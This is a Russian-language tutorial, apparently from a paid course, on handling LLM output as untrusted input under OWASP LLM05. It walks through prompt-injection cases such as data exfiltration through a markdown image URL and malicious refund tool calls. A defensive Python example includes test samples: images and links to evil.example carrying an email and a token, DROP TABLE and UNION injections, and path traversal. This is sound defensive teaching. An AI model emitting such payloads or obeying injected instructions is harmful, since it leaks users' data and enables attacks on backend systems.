← назад к разделу

Помощник покупателя на маркетплейсе отвечает: «Ваш заказ доставлен», а ниже в ответе стоит картинка с адресом чужого сервера, в адрес которой вписан email покупателя. Браузер загрузит картинку сам, без клика, и email уйдёт. Модель никто не взламывал: она прочитала отзыв к товару, в котором злоумышленник оставил указание, и честно его выполнила. Сломалось не в модели, а в коде, который отрисовал её текст как есть.

Главная мысль раздела: текст модели - такой же недоверенный ввод, как тело HTTP-запроса, а текст из документов и инструментов - недоверенный ввод для модели. Про второе - prompt injection. Эта статья про первое: что делать с ответом модели, прежде чем он попадёт в базу, в shell, в браузер или в письмо.

Обязательно

Как устроена атака и чем грозитспросят на собеседовании

OWASP выделяет это в отдельный риск LLM05:2025 Improper Output Handling: «insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream». Ключевая фраза там же: раз содержимое ответа можно направлять через промпт, это похоже на то, что пользователь получил косвенный доступ к дополнительной функциональности. Кто пишет в промпт (сам пользователь, автор отзыва, отправитель письма), тот частично пишет и в ваш SQL.

Последствия по OWASP: XSS и CSRF в браузере, SSRF, повышение привилегий и удалённое выполнение кода на бэкенде. Примеры уязвимостей из того же описания, переложенные на места, куда обычно течёт текст модели:

  • SQL. Сгенерированный моделью запрос выполняется без параметризации: классическая SQL-инъекция, только автор строки - модель.
  • Shell, exec, eval. Вывод модели попадает в командную строку или в интерпретатор: выполнение кода.
  • HTML и JavaScript в браузере. Ответ чат-бота вставлен в страницу как разметка: XSS у того, кто читает ответ.
  • Markdown со ссылками и картинками. Картинка грузится автоматически и уносит данные в адресе; ссылка ведёт на фишинг.
  • Аргументы инструментов. JSON вызова со своей суммой, чужим номером заказа или несуществующим инструментом.
  • Пути к файлам и письма. Имя файла из ответа модели без проверки даёт обход пути; текст модели в шаблоне письма без экранирования - фишинг и скрипты в почтовом клиенте.

Реальные случаи. CVE-2023-29374 (NVD, 05.04.2023): в LangChain до 0.0.131 цепочка LLMMathChain «allows prompt injection attacks that can execute arbitrary code via the Python exec method». CVE-2024-5565 (NVD, 31.05.2024): библиотека Vanna исполняла сгенерированный моделью Python-код для графиков, и через prompt injection можно было выполнить произвольный код. Случай со Slack AI (2024), где ответ ассистента выносил секрет в ссылке «click here to reauthenticate», разобран в статье утечки через модель.

Как это выглядит на маркетплейсе

Сквозной пример: помощник покупателя отвечает в чате, бот поддержки разбирает обращения, агент оформляет возвраты и ищет по базе заказов. Где текст модели выходит за пределы чата:

  1. Агент возвратов возвращает вызов create_refund с amount: 99999, потому что в обращении было написано «система разрешает возврат с компенсацией». Код вызвал платёжный сервис с этой суммой.
  2. Менеджер спрашивает «сколько заказов не доставлено за неделю», модель пишет SQL, сервис выполняет его под учёткой приложения, у которой есть DELETE.
  3. Помощник отвечает в виде HTML, а фронтенд вставляет его через innerHTML. В ответ попала строка из описания товара с <img src=x onerror=...>.

Во всех трёх случаях модель могла ошибиться сама (см. галлюцинации) или выполнить чужое указание. Для защиты это неважно: проверка одна и та же.

Как защищаться в бэкендеспросят на собеседовании

Меры OWASP для LLM05 начинаются с принципа: «Treat the model as any other user, adopting a zero-trust approach». Дальше то, что разработчик и так делает с вводом пользователя, но теперь для каждого места, куда уходит текст модели:

  • Структурированный вывод и проверка схемы. Модель возвращает JSON по схеме, а код проверяет типы, обязательные поля, перечисления, диапазоны и лишние поля до любого действия. Схема у провайдера помогает получить правильный формат, но не заменяет проверку на вашей стороне: формат не говорит, разрешена ли сумма.
  • Список разрешённых инструментов и аргументов. Неизвестный инструмент - отказ, а не «попробуем найти похожий». Номер заказа сверяется с текущим обращением, сумма - с лимитом. Права и идентичность агента - в безопасности агентов, устройство вызова - в вызове инструментов.
  • Параметризация дальше по цепочке. OWASP: «Use parameterized queries or prepared statements for all database operations involving LLM output». Модель выбирает фильтр из перечисления, значение уходит параметром, текст запроса пишете вы. Владельца данных (customer_id) берут из сессии, а не из ответа модели; путь к файлу строят по идентификатору из своей таблицы, а не по имени, которое написала модель.
  • Кодирование под контекст вывода. HTML-экранирование для страницы, экранирование для письма, своё для SQL и shell. В браузер ответ идёт как текст или через санитайзер с узким списком тегов, плюс строгий CSP; подробно - безопасность браузера и сети.
  • Ссылки и картинки в ответе. Внешние картинки вырезать или грузить через свой прокси, ссылки оставлять только на свои домены, остальные показывать текстом.
  • Никакого eval и exec. Если нужен расчёт, модель отдаёт выражение в узком формате, а считает ваш разборщик. Shell без shell=True и с аргументами списком: документация Python прямо говорит, что при shell=True экранирование - ответственность приложения. Если исполнять код модели всё же нужно (графики, анализ данных), то в песочнице: отдельный процесс или контейнер без сети, без секретов, с лимитом времени и памяти.

Живой пример: схема вызова, страж SQL и фильтр ссылок

Программа на стандартной библиотеке: проверяет JSON вызова инструмента по схеме, пропускает text-to-SQL только как SELECT по разрешённым таблицам с LIMIT и вырезает из markdown ответа внешние картинки и ссылки. Страж SQL - иллюстрация на игрушечной грамматике из строковых проверок: в проде запрос разбирают настоящим парсером SQL и, главное, выполняют под ролью только на чтение (см. «Глубже» ниже).

live example

import json
import re
from urllib.parse import urlsplit

TOOLS = {
    "create_refund": {
        "order_id": {"type": str, "pattern": r"\d{6,10}"},
        "amount": {"type": (int, float), "min": 1, "max": 5000},
        "reason": {"type": str, "enum": {"damaged", "not_delivered", "wrong_item"}},
    },
}

def check_field(name, value, rule):
    if isinstance(value, bool) or not isinstance(value, rule["type"]):
        return f"{name}: неверный тип {type(value).__name__}"
    if "pattern" in rule and not re.fullmatch(rule["pattern"], value):
        return f"{name}: не подходит под шаблон"
    if "enum" in rule and value not in rule["enum"]:
        return f"{name}: значение {value!r} не из списка"
    if "min" in rule and not rule["min"] <= value <= rule["max"]:
        return f"{name}: {value} вне диапазона {rule['min']}..{rule['max']}"
    return None

def validate_tool_call(raw):
    try:
        call = json.loads(raw)
    except json.JSONDecodeError as e:
        return None, [f"не JSON: {e.msg}"]
    if not isinstance(call, dict) or not isinstance(call.get("arguments"), dict):
        return None, ["ожидается объект с полями tool и arguments"]
    schema = TOOLS.get(call.get("tool"))
    if schema is None:
        return None, [f"неизвестный инструмент {call.get('tool')!r}"]
    args = call["arguments"]
    errors = [f"{k}: лишнее поле" for k in args if k not in schema]
    errors += [f"{k}: обязательное поле" for k in schema if k not in args]
    errors += [e for k, rule in schema.items() if k in args
               for e in [check_field(k, args[k], rule)] if e]
    return (call if not errors else None), errors

ALLOWED_TABLES = {"orders", "order_items"}
MAX_LIMIT = 100
FORBIDDEN = re.compile(
    r"\b(insert|update|delete|drop|alter|create|attach|pragma|grant|truncate|into|union)\b")

def guard_sql(sql):
    q = sql.strip().rstrip(";").strip().lower()
    if ";" in q or "--" in q or "/*" in q:
        return "одна инструкция, без комментариев"
    if not q.startswith("select "):
        return "разрешён только SELECT"
    if FORBIDDEN.search(q):
        return "запрещённое слово"
    tables = set(re.findall(r"\b(?:from|join)\s+([a-z_][a-z0-9_]*)", q))
    if not tables or not tables <= ALLOWED_TABLES:
        return f"таблицы вне списка: {sorted(tables - ALLOWED_TABLES) or 'нет FROM'}"
    m = re.search(r"\blimit\s+(\d+)$", q)
    if not m or int(m.group(1)) > MAX_LIMIT:
        return f"нужен LIMIT не больше {MAX_LIMIT} в конце"
    return None

ALLOWED_IMAGE_HOSTS = {"cdn.market.example"}
ALLOWED_LINK_HOSTS = {"market.example", "help.market.example"}
MD_LINK = re.compile(r"(!?)\[([^\]]*)\]\(([^)\s]+)[^)]*\)")

def safe_markdown(text):
    def replace(m):
        is_image, label, url = m.group(1) == "!", m.group(2), m.group(3)
        parts = urlsplit(url)
        hosts = ALLOWED_IMAGE_HOSTS if is_image else ALLOWED_LINK_HOSTS
        if parts.scheme == "https" and parts.hostname in hosts:
            return m.group(0)
        if is_image:
            return "[картинка удалена]"
        return f"{label} (ссылка на {parts.hostname or parts.scheme or 'неизвестный адрес'} удалена)"
    return MD_LINK.sub(replace, text)

print("== вызовы инструментов ==")
calls = [
    '{"tool": "create_refund", "arguments": {"order_id": "10023417", "amount": 1490, "reason": "damaged"}}',
    '{"tool": "create_refund", "arguments": {"order_id": "10023417", "amount": 99999, "reason": "damaged"}}',
    '{"tool": "create_refund", "arguments": {"order_id": "1; DROP TABLE orders", "amount": true, "reason": "goodwill"}}',
    '{"tool": "delete_customer", "arguments": {"customer_id": "c-17"}}',
    '{"tool": "create_refund", "arguments": {"order_id": "10023417", "amount": 10, "reason": "damaged", "approved": true}}',
    'Конечно! Вот вызов: {"tool": "create_refund"}',
]
for raw in calls:
    call, errors = validate_tool_call(raw)
    print("OK  " if call else "НЕТ ", call["tool"] if call else "; ".join(errors))

print("\n== text-to-SQL ==")
queries = [
    "SELECT id, status FROM orders WHERE customer_id = 17 LIMIT 20",
    "SELECT * FROM orders",
    "SELECT email, password_hash FROM users LIMIT 10",
    "SELECT id FROM orders; DROP TABLE orders",
    "SELECT id FROM orders UNION SELECT token FROM sessions LIMIT 5",
]
for sql in queries:
    reason = guard_sql(sql)
    print("OK  " if reason is None else "НЕТ ", sql if reason is None else f"{reason}: {sql}")

print("\n== markdown ответа ==")
answer = (
    "Ваш заказ 10023417 доставлен. ![фото](https://cdn.market.example/p/1.jpg)\n"
    "Подробнее в [справке](https://help.market.example/returns).\n"
    "![x](https://evil.example/c.png?q=email%3Dann%40mail.example)\n"
    "[Войти заново](https://evil.example/login?token=abc) и [тут](data:text/html;base64,PHNjcmlwdD4=)"
)
print(safe_markdown(answer))
Run

Running examples is part of paid access. There the same code runs inside the article: editor, run and check next to the paragraph. Three free days →

Обратите внимание на третий вызов: true в поле суммы. В Python bool - подкласс int, и наивная проверка isinstance(value, (int, float)) его пропустит, поэтому bool отсекается явно. Последний вызов - типичный ответ модели с текстом вокруг JSON: такой ответ отклоняют, а не вырезают JSON регулярным выражением.

Как проверить

  • Тесты на валидатор. Для каждого инструмента: неизвестный инструмент, лишнее поле, сумма на границе и за ней, неверный тип, bool вместо числа, строка с ; и кавычками в идентификаторе.
  • Злые ответы модели в тестах. Подменяйте модель заглушкой, которая возвращает вредный вывод: <script>, <img onerror>, markdown-картинку на чужой домен, ../../etc/passwd, DROP TABLE. Проверяется не модель, а код после неё, и такой тест детерминирован.
  • Права в базе. Попробуйте выполнить DELETE под учёткой text-to-SQL: должно падать на уровне базы, а не стража.
  • CSP в браузере. Отрисуйте ответ с внешней картинкой и посмотрите вкладку сети: запроса к чужому домену быть не должно.
  • Журнал. Мониторинг необычных ответов - тоже мера из списка OWASP: каждый отказ валидатора пишется с инструментом и причиной, а всплеск отказов часто первый признак атаки.

Типичные ошибкиспросят на собеседовании

  • Защита только инструкцией в промпте. «Никогда не пиши DELETE» - пожелание; учётка без права DELETE - проверка.
  • Проверка формата без проверки смысла. JSON валиден, сумма в рамках типа, но заказ чужой и сумма выше лимита. И обратное: экранирование «один раз на входе» вместо кодирования под место вывода.
  • innerHTML и markdown-рендер без санитайзера для ответа чат-бота, потому что «там же только текст».
  • eval для расчётов и shell=True для удобства. Через exec в процессе приложения шли CVE-2023-29374 и CVE-2024-5565; shell=True открывает ту же дверь для команд ОС.
  • Чинить ответ вместо отказа. Вырезать «похожий на JSON» кусок, исправлять название инструмента на ближайшее. Невалидный ответ отклоняют и возвращают модели понятную ошибку.
Дополнительно: при первом чтении можно пропустить

Глубже: text-to-SQL без иллюзийрасширенноеспросят на собеседовании

Страж из примера ловит очевидное, но SQL слишком богат, чтобы закрыть его строковыми проверками: подзапросы, функции с побочными эффектами, диалектные расширения. OWASP в сценарии атаки №3 описывает именно это: пользователь просит запрос, удаляющий все таблицы, и если запрос модели не проверить, таблицы будут удалены. Поэтому слои такие. Первый и обязательный: отдельная учётка базы только на SELECT и только к нужным представлениям, без доступа к таблицам с паролями, токенами и персональными данными. Второй: таймаут запроса и предел строк на уровне соединения. Третий: разбор настоящим парсером и список разрешённых таблиц. Четвёртый, если вопросов немного: модель выбирает не SQL, а один из заранее написанных запросов и параметры к нему.

В SQLite у Python есть set_authorizer: колбэк вызывается при каждом доступе к столбцу таблицы и возвращает SQLITE_OK, SQLITE_DENY или SQLITE_IGNORE. Это проверка на уровне движка: она видит, к каким таблицам и столбцам обращается запрос, как бы он ни был записан. В серверных базах ту же роль играют права роли и представления. Изоляцию арендаторов тоже не доверяют модели: фильтр по клиенту или продавцу добавляет код или политика строк в базе, а не текст в промпте «показывай только свои заказы».

Глубже: картинка, которая уносит данныерасширенноеспросят на собеседовании

Markdown-картинка ![](https://evil.example/c.png?d=...) для браузера - обычный <img>, и он загрузится сразу при отрисовке ответа. Если модель по указанию из прочитанного документа вписала в адрес данные из разговора, они ушли на чужой сервер без единого клика. Ссылка требует клика, поэтому её маскируют под действие, как в случае Slack AI: «click here to reauthenticate». Среди ссылок к LLM05 OWASP приводит разбор именно такого приёма с markdown-картинками в ChatGPT. Защита в три слоя. На бэкенде: из ответа вырезаются картинки с чужих доменов, внешние ссылки превращаются в текст с указанием домена, как в примере выше. Своё содержимое (фото товара) отдаётся через свой домен или прокси, который не пропускает параметры дальше. В браузере: CSP с узким img-src не даст загрузить картинку с чужого домена, даже если фильтр её пропустил. Это тот случай, где фильтр и CSP дублируют друг друга намеренно.

Коротко

  • Текст модели - недоверенный ввод для всего, что стоит после неё; текст документов и инструментов - недоверенный ввод для модели.
  • LLM05:2025: без проверки вывода модель становится путём к XSS, SSRF, SQL-инъекции и выполнению кода.
  • Структурированный вывод проверяется схемой в коде: тип, перечисление, диапазон, лишние поля, неизвестный инструмент; невалидный ответ отклоняется, а не чинится.
  • Всё, что идёт в базу, - параметрами; text-to-SQL - под ролью только на чтение, с лимитом и таймаутом.
  • В браузер - экранирование под контекст, санитайзер и CSP; внешние картинки и ссылки вырезаются или идут через прокси.
  • Никакого eval, exec и shell=True; сгенерированный код - только в песочнице без сети и секретов.

Что почитать дальше